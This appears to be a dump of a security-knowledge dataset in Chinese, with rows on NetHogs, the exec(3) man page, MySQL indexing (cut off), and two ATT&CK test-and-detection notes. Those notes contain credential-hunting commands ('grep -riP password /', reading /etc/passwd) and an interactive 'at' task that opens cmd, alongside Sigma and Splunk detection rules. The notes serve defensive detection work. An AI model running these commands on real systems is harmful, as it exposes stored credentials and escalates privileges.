text
stringlengths
100
9.93M
category
stringclasses
11 values
nethogs === 终端下的网络流量监控工具 ## 补充说明 有很多适用于Linux系统的开源网络监视工具。比如说,你可以用命令iftop来检查带宽使用情况。netstat用来查看接口统计报告,还有top监控系统当前运行进程。但是如果你想要找一个能够按进程实时统计网络带宽利用率的工具,那么NetHogs值得一看。 **NetHogs** 是一个开源的命令行工具(类似于Linux的top命令),用来按进程或程序实时统计网络带宽使用率。 来自NetHogs项目网站: > NetHogs是一个小型的net top工具,不像大多数工具那样拖慢每个协议或者是每个子网的速度而是按照进程进行带宽分组。NetHogs不需要依赖载入某个特殊的内核模块。如果发生了网络阻塞你可以启动NetHogs立即看到哪个PID造成的这种状况。这样就很容易找出哪个程序跑飞了然后突然占用你的带宽。 本文为你介绍如何在Unix/Linux操作系统下如何安装和使用NetHogs按进程监控网络带宽使用率。 ### 语法 ```shell nethogs(选项)(参数) ``` ### 选项 ```shell usage: nethogs [-V] [-h] [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [device [device [device ...]]] -V : 打印版本。 -h : 打印此帮助。 -b : bughunt模式 - 暗示tracemode。 -d : 延迟更新刷新率(以秒为单位)。 默认值为1。 -v : 视图模式(0 = KB / s,1 =总KB,2 =总B,3 =总MB)。 默认值为0。 -c : 更新次数。 默认为0(无限制)。 -t : tracemode. -p : 煽动混乱模式(不推荐)。 -s : 按发送列排序输出。 -a : 监控所有设备,甚至环回/停止。 device : 要监控的设备。 默认是所有接口启动和运行,不包括环回 当nethogs运行时,按: q:退出 s:按SENT流量排序 r:按RECEIVE流量排序 m:在总(KB,B,MB)和KB / s模式之间切换 ``` 其他参数和用法 ```shell -d : 刷新间隔 -h : 帮助 -p : promiscious 模式 -t : trace模式 -V : 版本 ``` **交互命令** 以下是NetHogs的一些交互命令(键盘快捷键) * m : 修改单位 * r : 按流量排序 * s : 按发送流量排序 * q : 退出命令提示符 ### 安装 **在RHEL、CentOS和Fedora下安装NetHogs** 要安装NetHogs,你必须要启用你所用Linux下的EPEL源。然后运行下面的yum命令下载安装NetHogs包。 ```shell yum install nethogs ``` **在Ubuntu、Linux mint和Debian下安装NetHogs** 键入apt-get命令安装NetHogs包: ```shell $ sudo apt-get install nethogs ``` ### NetHogs用法 在基于RedHat系统下键入如下命令启动NetHogs工具。 ```shell nethogs ``` 在Debian/Ubuntu/Linux Mint下要执行NetHogs你必须拥有root权限: ```shell $ sudo nethogs ``` !nethogs Ubuntu 12.10 下的NetHogs预览 正如上图所示,send列和received列显示的是按照每个进程的流量统计。总的收发数据带宽在最下方,而且可以用交互命令控制排序,下面将要讨论这些交互命令。 ### NetHogs 命令行参数 以下就是NetHogs命令行的参数,用-d来添加刷新频率参数,device name 用来检测给定的某个或者某些设备的带宽(默认是eth0)。例如:设置5秒钟的刷新频率,键入如下命令即可: ```shell nethogs -d 5 ``` ```shell $ sudo nethogs -d 5 ``` 如果只用来监视设备(eth0)的网络带宽可以使用如下命令: ```shell nethogs eth0 ``` ```shell $ sudo nethogs eth0 ``` 如果要同时监视eth0和eth1接口,使用以下命令即可: ```shell nethogs eth0 eth1 ``` ```shell $ sudo nethogs eth0 eth1 ``` 关于NetHogs命令行工具的完整参数列表,可以参考NetHogs的手册,使用方法是在终端里输入`man nethogs`或者`sudo man nethogs`,更多信息请参考NetHogs项目主页。
sec-knowleage
.\" Copyright (c) 1991 The Regents of the University of California. .\" All rights reserved. .\" .\" Redistribution and use in source and binary forms, with or without .\" modification, are permitted provided that the following conditions .\" are met: .\" 1. Redistributions of source code must retain the above copyright .\" notice, this list of conditions and the following disclaimer. .\" 2. Redistributions in binary form must reproduce the above copyright .\" notice, this list of conditions and the following disclaimer in the .\" documentation and/or other materials provided with the distribution. .\" 3. All advertising materials mentioning features or use of this software .\" must display the following acknowledgement: .\" This product includes software developed by the University of .\" California, Berkeley and its contributors. .\" 4. Neither the name of the University nor the names of its contributors .\" may be used to endorse or promote products derived from this software .\" without specific prior written permission. .\" .\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND .\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE .\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE .\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE .\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL .\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS .\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) .\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT .\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY .\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF .\" SUCH DAMAGE. .\" .\" @(#)exec.3 6.4 (Berkeley) 4/19/91 .\" .\" Converted for Linux, Mon Nov 29 11:12:48 1993, faith@cs.unc.edu .\" Updated more for Linux, Tue Jul 15 11:54:18 1997, pacman@cqc.com .\" .TH EXEC 3 1993-11-29 "BSD MANPAGE" "Linux Programmer's Manual" .SH NAME execl, execlp, execle, execv, execvp \- 执行某个文件 .SH "总览 (SYNOPSIS)" .B #include <unistd.h> .sp .B extern char **environ; .sp .BI "int execl( const char *" path ", const char *" arg ", ...); .br .BI "int execlp( const char *" file ", const char *" arg ", ...); .br .BI "int execle( const char *" path ", const char *" arg .BI ", ..., char * const " envp "[]);" .br .BI "int execv( const char *" path ", char *const " argv "[]);" .br .BI "int execvp( const char *" file ", char *const " argv "[]);" .SH "描述 (DESCRIPTION)" .B exec 系列 函数 用 新的 进程 映象 置换 当前的 进程 映象. 本 手册页 描述的 这些 函数 实际上 是 对 .BR execve (2) 函数 的 前端(front-end) 包装. (关于 当前进程 的 置换 详见 .B execve 的 手册页.) .PP 这些 函数 的 第一个 参数 是 待执行 程序 的 路径名(文件名). .PP 在 函数 .BR execl , .BR execlp , 和 .B execle 中, .I "const char *arg" 以及 省略号 代表 的 参数 可被 视为 .IR arg0 , .IR arg1 , \&..., .IR argn . 他们 合起来 描述了 指向 null 结尾的 字符串 的 指针 列表, 即 执行程序 的 参数列表. 作为 约定, 第一个 arg 参数 应该 指向 执行程序名 自身. 参数列表 .I 必须 用 .B NULL 指针 结束! .PP .B execv 和 .B execvp 函数 提供 指向 null 结尾的 字符串 的 指针数组 作为 新程序 的 参数列表. 作为 约定, 指针数组 中 第一个 元素 应该 指向 执行程序名 自身. 指针数组 .I 必须 用 .B NULL 指针 结束! .PP .B execle 函数 同时 说明了 执行进程 的 环境(environment), 他 在 .B NULL 指针 后面 要求 一个 附加参数, NULL 指针 用于 结束 参数列表, 或者说, argv 数组. 这个 附加参数 是 指向 null 结尾的 字符串 的 指针数组, 他 .I 必须 用 .B NULL 指针 结束! 其他 函数 从 当前进程 的 .I environ 外部变量 中 获取 新进程 的 环境. .PP 某些 函数 有 特殊的 语义. .PP 如果 提供的 文件名 中 不包含 斜杠符(/), 函数 .B execlp 和 .B execvp 将 同 shell 一样 搜索 执行文件. 搜索路径 由 环境变量 .B PATH 指定. 如果 该 变量 不存在, 则 使用 缺省路径 ``:/bin:/usr/bin''. 另外, 某些 错误 要 特殊处理. .PP 如果 对 某个 文件 的 访问 遭到 拒绝 ( .B execve 返回 .BR EACCES ), 这些 函数 将 在 搜索路径 中 继续 寻找. 如果 没有 找到 符合的 文件, 他们 返回时 把 .I errno 置为 .BR EACCES . .PP 如果 无法 识别 文件首部 ( .B execve 返回 .BR ENOEXEC ), 这些 函数 将 以 文件名 作为 第一个 参数 调用 shell. (如果 这个 尝试 失败 就 不再 进行 搜索 了.) .SH "返回值 (RETURN VALUE)" 任何 .B exec 函数 返回 均 表明 发生了 错误. 返回值 是 \-1, 全局变量 .I errno 指出 错误类型. .SH "文件 (FILE)" .I /bin/sh .SH "错误 (ERROR)" 这些 函数 均可能 失败, .I errno 被 置为 库函数 .BR execve (2) 设置的 各种 错误类型. .SH "另见 (SEE ALSO)" .BR sh (1), .BR execve (2), .BR fork (2), .BR environ (5), .BR ptrace (2) .SH "兼容性 (COMPATIBILITY)" 在 某些 其他系统 中, 缺省路径 (当 环境变量 \fBPATH\fR 不存在) 把 当前目录 列在 .I /bin 和 .IR /usr/bin 后面, 这是 为了 防止 特洛伊木马. Linux 在这儿 采取了 传统的 "当前目录优先" 缺省路径. .PP 当 试图 执行 程序 并且 发生 错误 的 时候, .B execlp 和 .B execvp 的 行为 是 历史 习惯, 但是 没有 进入 正式文档, 也没有 被 POSIX 标准 说明. BSD (可能 还有 其他 系统) 中 进程 自动 进入 睡眠, 如果 发生 ETXTBSY, 他们 就 重试. 而 Linux 视此为 严重错误, 并且 立即 返回. .PP 传统的 做法中, 函数 .B execlp 和 .B execvp 忽略 所有 错误, 除了 上述的 错误, .B ENOMEM 和 .BR E2BIG . 如果 发生 这三类 错误, 他们 就 返回. 而 现在的 做法是, 不仅仅 上述的 错误, 任何 错误 均导致 函数 返回. .SH "遵循 (CONFORMING TO)" .BR execl , .BR execv , .BR execle , .B execlp 和 .B execvp 遵循 IEEE Std1003.1-88 (``POSIX.1''). .SH "[中文版维护人]" .B 徐明 <xuming@users.sourceforge.net> .SH "[中文版最新更新]" .BR 2003/05/13 .SH "《中国Linux论坛man手册页翻译计划》" .BI http://cmpp.linuxforum.net
sec-knowleage
# T1552-001-linux-文件中的凭据 ## 来自ATT&CK的描述 攻击者可能会在本地文件系统和远程文件共享中搜索包含不安全存储的凭据的文件。这些文件可以是用户创建的用于存储自己的凭据的文件,一组个人的共享凭据存储,包含系统或服务密码的配置文件或包含嵌入式密码的源代码/二进制文件。 可以通过OS Credential Dumping从备份或保存的虚拟机中提取密码。也可以从Windows域控制器上存储的组策略首选项中获取密码。 在云环境中,经过身份验证的用户凭据通常存储在本地配置和凭据文件中。在某些情况下,可以将这些文件复制并在另一台机器上重复使用,或者可以读取内容,然后将其用于身份验证,而无需复制任何文件。 ## 测试案例 grep -riP password #{想要查找的文件路径} grep -riP password / ## 检测日志 linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略) bash历史记录 ## 测试复现 icbc@icbc:/$ grep -riP passwd /etc/passwd ## 测试留痕 ### audit日志 ```bash icbc@icbc:/$ gedit /var/log/audit/audit.log type=SYSCALL msg=audit(1563526266.080:744): arch=c000003e syscall=59 success=yes exit=0 a0=55f3435691b0 a1=55f3434345d0 a2=55f343573580 a3=8 items=2 ppid=2031 pid=4855 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=3 comm="grep" exe="/usr/bin/grep" key="auditcmd" type=EXECVE msg=audit(1563526266.080:744): argc=5 a0="grep" a1="--color=auto" a2="-riP" a3="passwd" a4="/etc/passwd" type=CWD msg=audit(1563526266.080:744): cwd="/" type=PATH msg=audit(1563526266.080:744): item=0 name="/usr/bin/grep" inode=2228723 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 ``` 值得注意的是:这里只提取出了异常日志,故省略了很多日志细节。 ### bash历史记录 icbc@icbc:/$ history 1 grep -riP passwd /etc/passwd ## 检测规则/思路 ### splunk规则 audit日志 ```yml index=linux sourcetype=linux_audit type=execve a0=grep a0="grep" a1="--color=auto" a2="-riP" a3="passwd" ``` ### splunk规则 bash 历史记录 ```yml index=linux sourcetype="bash_history" grep password | table host,user_name,bash_command ``` ### sigma规则 值得注意的是:你需要自行配置Audit审核规则 ```yml title: 攻击者查看linux下可能包含用户账户密码的文件 description: Ubuntu18.04 references: https://github.com/12306Bro/Threathunting/blob/master/T1081-linux-文件中的凭证.md tags: T1552-001 status: experimental author: 12306Bro logsource: product: linux service: audit(需要自行配置audit规则) detection: keywords: ​ - comm="grep" exe="/bin/grep" key="audit_110" condition: keywords logsource: product: linux service: history detection: selection: keywords: ​ - grep * passwd condition: keywords level: medium ``` ### 建议 暂无 ## 相关TIP [[T1552-001-win-文件中的凭证]] [[T1552-002-win-注册表中的凭证]] [[T1552-003-linux-Bash历史]] [[T1552-004-linux-私钥]] [[T1552-006-win-GPP-凭证转储]] ## 参考推荐 MITRE-ATT&CK-T1552-001 <https://attack.mitre.org/techniques/T1552/001>
sec-knowleage
# T1053-002-win-交互式AT计划任务 ## 来自ATT&CK的描述 诸如at和schtasks之类的实用程序可与Windows Task Scheduler一起使用来调度程序或脚本在某日期和时间执行。只要身份认证通过可以使用RPC,并且打开了文件和打印机共享功能,就可以在远程系统上调度任务。在远程系统上调度任务通常需要远程系统管理员群组的成员执行。 攻击者可能会通过任务调度在系统启动时或在计划的基础上执行程序以实现持久性,作为横向移动的一部分进行远程执行,获得系统权限,或者在指定账号的上下文下运行进程。 ## 测试案例 AT命令虽然自Win8系统起已经弃用,需要使用SCHTASKS命令了,但目前来看win7的使用范围还是很广泛的。 at time /interactive command ---给用户一个与程序或命令参与交互的机会 ## 检测日志 windows安全日志/sysmon日志 ## 测试复现 成功执行后,cmd.exe将生成at.exe并创建计划任务,该任务将在特定时间生成cmd。 ```yml at 17:28 /interactive cmd ``` ## 测试留痕 ```yml # sysmon_log,事件ID:1 Process Create: RuleName: - UtcTime: 2020-11-29 09:16:59.072 ProcessGuid: {bb1f7c32-670b-5fc3-8000-000000001800} ProcessId: 2548 Image: C:\Windows\System32\at.exe FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255) Description: Schedule service command line interface Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: AT.EXE CommandLine: at 17:28 /interactive cmd CurrentDirectory: C:\Users\12306Br0\Desktop\Sysmon\ User: 12306Br0-PC\12306Br0 LogonGuid: {bb1f7c32-6401-5fc3-e5b7-1a0000000000} LogonId: 0x1ab7e5 TerminalSessionId: 1 IntegrityLevel: High ``` ## 检测规则/思路 ```yml title: 交互式AT计划任务 description: 交互式AT计划任务,可能是提权行为 author: 12306Br0 date: 2020/11/29 references: - https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdedb04b37049a85db/atomics/T1053.002/T1053.002.md - https://eqllib.readthedocs.io/en/latest/analytics/d8db43cf-ed52-4f5c-9fb3-c9a4b95a0b56.html tags: - attack.persistence - attack.lateral_movement - attack.t1053-002 logsource: product: windows service: sysmon #自行配置 detection: selection: EventID: 1 #进程创建 Image: 'at.exe' CommandLine: '* interactive *' condition: selection level: low ``` ## 建议 除了基于sysmon日志之外,高版本的Windows操作系统,也可以通过系统安全日志中4688进行检测 ## 相关TIP [[T1053-002-win-通过GPO计划任务进行大规模的持久性和执行]] [[T1053-005-win-schtasks本地计划任务]] ## 参考推荐 MITRE-ATT&CK-T1053-002 <https://attack.mitre.org/techniques/T1053/002/> CMD命令行计划任务设置-AT <https://baijiahao.baidu.com/s?id=1593905611581087845&wfr=spider&for=pc>
sec-knowleage
# MySQL <!-- GFM-TOC --> * [MySQL](#mysql) * [一、索引](#一索引) * [B+ Tree 原理](#b-tree-原理) * [MySQL 索引](#mysql-索引) * [索引优化](#索引优化) * [索引的优点](#索引的优点) * [索引的使用条件](#索引的使用条件) * [二、查询性能优化](#二查询性能优化) * [使用 Explain 进行分析](#使用-explain-进行分析) * [优化数据访问](#优化数据访问) * [重构查询方式](#重构查询方式) * [三、存储引擎](#三存储引擎) * [InnoDB](#innodb) * [MyISAM](#myisam) * [比较](#比较) * [四、数据类型](#四数据类型) * [整型](#整型) * [浮点数](#浮点数) * [字符串](#字符串) * [时间和日期](#时间和日期) * [五、切分](#五切分) * [水平切分](#水平切分) * [垂直切分](#垂直切分) * [Sharding 策略](#sharding-策略) * [Sharding 存在的问题](#sharding-存在的问题) * [六、复制](#六复制) * [主从复制](#主从复制) * [读写分离](#读写分离) * [参考资料](#参考资料) <!-- GFM-TOC --> ## 一、索引 ### B+ Tree 原理 #### 1. 数据结构 B Tree 指的是 Balance Tree,也就是平衡树。平衡树是一颗查找树,并且所有叶子节点位于同一层。 B+ Tree 是基于 B Tree 和叶子节点顺序访问指针进行实现,它具有 B Tree 的平衡性,并且通过顺序访问指针来提高区间查询的性能。 在 B+ Tree 中,一个节点中的 key 从左到右非递减排列,如果某个指针的左右相邻 key 分别是 key<sub>i</sub> 和 key<sub>i+1</sub>,且不为 null,则该指针指向节点的所有 key 大于等于 key<sub>i</sub> 且小于等于 key<sub>i+1</sub>。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/33576849-9275-47bb-ada7-8ded5f5e7c73.png" width="350px"> </div><br> #### 2. 操作 进行查找操作时,首先在根节点进行二分查找,找到一个 key 所在的指针,然后递归地在指针所指向的节点进行查找。直到查找到叶子节点,然后在叶子节点上进行二分查找,找出 key 所对应的 data。 插入删除操作会破坏平衡树的平衡性,因此在进行插入删除操作之后,需要对树进行分裂、合并、旋转等操作来维护平衡性。 #### 3. 与红黑树的比较 红黑树等平衡树也可以用来实现索引,但是文件系统及数据库系统普遍采用 B+ Tree 作为索引结构,这是因为使用 B+ 树访问磁盘数据有更高的性能。 (一)B+ 树有更低的树高 平衡树的树高 O(h)=O(log<sub>d</sub>N),其中 d 为每个节点的出度。红黑树的出度为 2,而 B+ Tree 的出度一般都非常大,所以红黑树的树高 h 很明显比 B+ Tree 大非常多。 (二)磁盘访问原理 操作系统一般将内存和磁盘分割成固定大小的块,每一块称为一页,内存与磁盘以页为单位交换数据。数据库系统将索引的一个节点的大小设置为页的大小,使得一次 I/O 就能完全载入一个节点。 如果数据不在同一个磁盘块上,那么通常需要移动制动手臂进行寻道,而制动手臂因为其物理结构导致了移动效率低下,从而增加磁盘数据读取时间。B+ 树相对于红黑树有更低的树高,进行寻道的次数与树高成正比,在同一个磁盘块上进行访问只需要很短的磁盘旋转时间,所以 B+ 树更适合磁盘数据的读取。 (三)磁盘预读特性 为了减少磁盘 I/O 操作,磁盘往往不是严格按需读取,而是每次都会预读。预读过程中,磁盘进行顺序读取,顺序读取不需要进行磁盘寻道,并且只需要很短的磁盘旋转时间,速度会非常快。并且可以利用预读特性,相邻的节点也能够被预先载入。 ### MySQL 索引 索引是在存储引擎层实现的,而不是在服务器层实现的,所以不同存储引擎具有不同的索引类型和实现。 #### 1. B+Tree 索引 是大多数 MySQL 存储引擎的默认索引类型。 因为不再需要进行全表扫描,只需要对树进行搜索即可,所以查找速度快很多。 因为 B+ Tree 的有序性,所以除了用于查找,还可以用于排序和分组。 可以指定多个列作为索引列,多个索引列共同组成键。 适用于全键值、键值范围和键前缀查找,其中键前缀查找只适用于最左前缀查找。如果不是按照索引列的顺序进行查找,则无法使用索引。 InnoDB 的 B+Tree 索引分为主索引和辅助索引。主索引的叶子节点 data 域记录着完整的数据记录,这种索引方式被称为聚簇索引。因为无法把数据行存放在两个不同的地方,所以一个表只能有一个聚簇索引。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/45016e98-6879-4709-8569-262b2d6d60b9.png" width="350px"> </div><br> 辅助索引的叶子节点的 data 域记录着主键的值,因此在使用辅助索引进行查找时,需要先查找到主键值,然后再到主索引中进行查找。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/7c349b91-050b-4d72-a7f8-ec86320307ea.png" width="350px"> </div><br> #### 2. 哈希索引 哈希索引能以 O(1) 时间进行查找,但是失去了有序性: - 无法用于排序与分组; - 只支持精确查找,无法用于部分查找和范围查找。 InnoDB 存储引擎有一个特殊的功能叫“自适应哈希索引”,当某个索引值被使用的非常频繁时,会在 B+Tree 索引之上再创建一个哈希索引,这样就让 B+Tree 索引具有哈希索引的一些优点,比如快速的哈希查找。 #### 3. 全文索引 MyISAM 存储引擎支持全文索引,用于查找文本中的关键词,而不是直接比较是否相等。 查找条件使用 MATCH AGAINST,而不是普通的 WHERE。 全文索引使用倒排索引实现,它记录着关键词到其所在文档的映射。 InnoDB 存储引擎在 MySQL 5.6.4 版本中也开始支持全文索引。 #### 4. 空间数据索引 MyISAM 存储引擎支持空间数据索引(R-Tree),可以用于地理数据存储。空间数据索引会从所有维度来索引数据,可以有效地使用任意维度来进行组合查询。 必须使用 GIS 相关的函数来维护数据。 ### 索引优化 #### 1. 独立的列 在进行查询时,索引列不能是表达式的一部分,也不能是函数的参数,否则无法使用索引。 例如下面的查询不能使用 actor_id 列的索引: ```sql SELECT actor_id FROM sakila.actor WHERE actor_id + 1 = 5; ``` #### 2. 多列索引 在需要使用多个列作为条件进行查询时,使用多列索引比使用多个单列索引性能更好。例如下面的语句中,最好把 actor_id 和 film_id 设置为多列索引。 ```sql SELECT film_id, actor_ id FROM sakila.film_actor WHERE actor_id = 1 AND film_id = 1; ``` #### 3. 索引列的顺序 让选择性最强的索引列放在前面。 索引的选择性是指:不重复的索引值和记录总数的比值。最大值为 1,此时每个记录都有唯一的索引与其对应。选择性越高,每个记录的区分度越高,查询效率也越高。 例如下面显示的结果中 customer_id 的选择性比 staff_id 更高,因此最好把 customer_id 列放在多列索引的前面。 ```sql SELECT COUNT(DISTINCT staff_id)/COUNT(*) AS staff_id_selectivity, COUNT(DISTINCT customer_id)/COUNT(*) AS customer_id_selectivity, COUNT(*) FROM payment; ``` ```html staff_id_selectivity: 0.0001 customer_id_selectivity: 0.0373 COUNT(*): 16049 ``` #### 4. 前缀索引 对于 BLOB、TEXT 和 VARCHAR 类型的列,必须使用前缀索引,只索引开始的部分字符。 前缀长度的选取需要根据索引选择性来确定。 #### 5. 覆盖索引 索引包含所有需要查询的字段的值。 具有以下优点: - 索引通常远小于数据行的大小,只读取索引能大大减少数据访问量。 - 一些存储引擎(例如 MyISAM)在内存中只缓存索引,而数据依赖于操作系统来缓存。因此,只访问索引可以不使用系统调用(通常比较费时)。 - 对于 InnoDB 引擎,若辅助索引能够覆盖查询,则无需访问主索引。 ### 索引的优点 - 大大减少了服务器需要扫描的数据行数。 - 帮助服务器避免进行排序和分组,以及避免创建临时表(B+Tree 索引是有序的,可以用于 ORDER BY 和 GROUP BY 操作。临时表主要是在排序和分组过程中创建,不需要排序和分组,也就不需要创建临时表)。 - 将随机 I/O 变为顺序 I/O(B+Tree 索引是有序的,会将相邻的数据都存储在一起)。 ### 索引的使用条件 - 对于非常小的表、大部分情况下简单的全表扫描比建立索引更高效; - 对于中到大型的表,索引就非常有效; - 但是对于特大型的表,建立和维护索引的代价将会随之增长。这种情况下,需要用到一种技术可以直接区分出需要查询的一组数据,而不是一条记录一条记录地匹配,例如可以使用分区技术。 ## 二、查询性能优化 ### 使用 Explain 进行分析 Explain 用来分析 SELECT 查询语句,开发人员可以通过分析 Explain 结果来优化查询语句。 比较重要的字段有: - select_type : 查询类型,有简单查询、联合查询、子查询等 - key : 使用的索引 - rows : 扫描的行数 ### 优化数据访问 #### 1. 减少请求的数据量 - 只返回必要的列:最好不要使用 SELECT * 语句。 - 只返回必要的行:使用 LIMIT 语句来限制返回的数据。 - 缓存重复查询的数据:使用缓存可以避免在数据库中进行查询,特别在要查询的数据经常被重复查询时,缓存带来的查询性能提升将会是非常明显的。 #### 2. 减少服务器端扫描的行数 最有效的方式是使用索引来覆盖查询。 ### 重构查询方式 #### 1. 切分大查询 一个大查询如果一次性执行的话,可能一次锁住很多数据、占满整个事务日志、耗尽系统资源、阻塞很多小的但重要的查询。 ```sql DELETE FROM messages WHERE create < DATE_SUB(NOW(), INTERVAL 3 MONTH); ``` ```sql rows_affected = 0 do { rows_affected = do_query( "DELETE FROM messages WHERE create < DATE_SUB(NOW(), INTERVAL 3 MONTH) LIMIT 10000") } while rows_affected > 0 ``` #### 2. 分解大连接查询 将一个大连接查询分解成对每一个表进行一次单表查询,然后在应用程序中进行关联,这样做的好处有: - 让缓存更高效。对于连接查询,如果其中一个表发生变化,那么整个查询缓存就无法使用。而分解后的多个查询,即使其中一个表发生变化,对其它表的查询缓存依然可以使用。 - 分解成多个单表查询,这些单表查询的缓存结果更可能被其它查询使用到,从而减少冗余记录的查询。 - 减少锁竞争; - 在应用层进行连接,可以更容易对数据库进行拆分,从而更容易做到高性能和可伸缩。 - 查询本身效率也可能会有所提升。例如下面的例子中,使用 IN() 代替连接查询,可以让 MySQL 按照 ID 顺序进行查询,这可能比随机的连接要更高效。 ```sql SELECT * FROM tag JOIN tag_post ON tag_post.tag_id=tag.id JOIN post ON tag_post.post_id=post.id WHERE tag.tag='mysql'; ``` ```sql SELECT * FROM tag WHERE tag='mysql'; SELECT * FROM tag_post WHERE tag_id=1234; SELECT * FROM post WHERE post.id IN (123,456,567,9098,8904); ``` ## 三、存储引擎 ### InnoDB 是 MySQL 默认的事务型存储引擎,只有在需要它不支持的特性时,才考虑使用其它存储引擎。 实现了四个标准的隔离级别,默认级别是可重复读(REPEATABLE READ)。在可重复读隔离级别下,通过多版本并发控制(MVCC)+ Next-Key Locking 防止幻影读。 主索引是聚簇索引,在索引中保存了数据,从而避免直接读取磁盘,因此对查询性能有很大的提升。 内部做了很多优化,包括从磁盘读取数据时采用的可预测性读、能够加快读操作并且自动创建的自适应哈希索引、能够加速插入操作的插入缓冲区等。 支持真正的在线热备份。其它存储引擎不支持在线热备份,要获取一致性视图需要停止对所有表的写入,而在读写混合场景中,停止写入可能也意味着停止读取。 ### MyISAM 设计简单,数据以紧密格式存储。对于只读数据,或者表比较小、可以容忍修复操作,则依然可以使用它。 提供了大量的特性,包括压缩表、空间数据索引等。 不支持事务。 不支持行级锁,只能对整张表加锁,读取时会对需要读到的所有表加共享锁,写入时则对表加排它锁。但在表有读取操作的同时,也可以往表中插入新的记录,这被称为并发插入(CONCURRENT INSERT)。 可以手工或者自动执行检查和修复操作,但是和事务恢复以及崩溃恢复不同,可能导致一些数据丢失,而且修复操作是非常慢的。 如果指定了 DELAY_KEY_WRITE 选项,在每次修改执行完成时,不会立即将修改的索引数据写入磁盘,而是会写到内存中的键缓冲区,只有在清理键缓冲区或者关闭表的时候才会将对应的索引块写入磁盘。这种方式可以极大的提升写入性能,但是在数据库或者主机崩溃时会造成索引损坏,需要执行修复操作。 ### 比较 - 事务:InnoDB 是事务型的,可以使用 Commit 和 Rollback 语句。 - 并发:MyISAM 只支持表级锁,而 InnoDB 还支持行级锁。 - 外键:InnoDB 支持外键。 - 备份:InnoDB 支持在线热备份。 - 崩溃恢复:MyISAM 崩溃后发生损坏的概率比 InnoDB 高很多,而且恢复的速度也更慢。 - 其它特性:MyISAM 支持压缩表和空间数据索引。 ## 四、数据类型 ### 整型 TINYINT, SMALLINT, MEDIUMINT, INT, BIGINT 分别使用 8, 16, 24, 32, 64 位存储空间,一般情况下越小的列越好。 INT(11) 中的数字只是规定了交互工具显示字符的个数,对于存储和计算来说是没有意义的。 ### 浮点数 FLOAT 和 DOUBLE 为浮点类型,DECIMAL 为高精度小数类型。CPU 原生支持浮点运算,但是不支持 DECIMAl 类型的计算,因此 DECIMAL 的计算比浮点类型需要更高的代价。 FLOAT、DOUBLE 和 DECIMAL 都可以指定列宽,例如 DECIMAL(18, 9) 表示总共 18 位,取 9 位存储小数部分,剩下 9 位存储整数部分。 ### 字符串 主要有 CHAR 和 VARCHAR 两种类型,一种是定长的,一种是变长的。 VARCHAR 这种变长类型能够节省空间,因为只需要存储必要的内容。但是在执行 UPDATE 时可能会使行变得比原来长,当超出一个页所能容纳的大小时,就要执行额外的操作。MyISAM 会将行拆成不同的片段存储,而 InnoDB 则需要分裂页来使行放进页内。 在进行存储和检索时,会保留 VARCHAR 末尾的空格,而会删除 CHAR 末尾的空格。 ### 时间和日期 MySQL 提供了两种相似的日期时间类型:DATETIME 和 TIMESTAMP。 #### 1. DATETIME 能够保存从 1000 年到 9999 年的日期和时间,精度为秒,使用 8 字节的存储空间。 它与时区无关。 默认情况下,MySQL 以一种可排序的、无歧义的格式显示 DATETIME 值,例如“2008-01-16 22:37:08”,这是 ANSI 标准定义的日期和时间表示方法。 #### 2. TIMESTAMP 和 UNIX 时间戳相同,保存从 1970 年 1 月 1 日午夜(格林威治时间)以来的秒数,使用 4 个字节,只能表示从 1970 年到 2038 年。 它和时区有关,也就是说一个时间戳在不同的时区所代表的具体时间是不同的。 MySQL 提供了 FROM_UNIXTIME() 函数把 UNIX 时间戳转换为日期,并提供了 UNIX_TIMESTAMP() 函数把日期转换为 UNIX 时间戳。 默认情况下,如果插入时没有指定 TIMESTAMP 列的值,会将这个值设置为当前时间。 应该尽量使用 TIMESTAMP,因为它比 DATETIME 空间效率更高。 ## 五、切分 ### 水平切分 水平切分又称为 Sharding,它是将同一个表中的记录拆分到多个结构相同的表中。 当一个表的数据不断增多时,Sharding 是必然的选择,它可以将数据分布到集群的不同节点上,从而缓存单个数据库的压力。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/63c2909f-0c5f-496f-9fe5-ee9176b31aba.jpg" width=""> </div><br> ### 垂直切分 垂直切分是将一张表按列切分成多个表,通常是按照列的关系密集程度进行切分,也可以利用垂直切分将经常被使用的列和不经常被使用的列切分到不同的表中。 在数据库的层面使用垂直切分将按数据库中表的密集程度部署到不同的库中,例如将原来的电商数据库垂直切分成商品数据库、用户数据库等。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/e130e5b8-b19a-4f1e-b860-223040525cf6.jpg" width=""> </div><br> ### Sharding 策略 - 哈希取模:hash(key) % N; - 范围:可以是 ID 范围也可以是时间范围; - 映射表:使用单独的一个数据库来存储映射关系。 ### Sharding 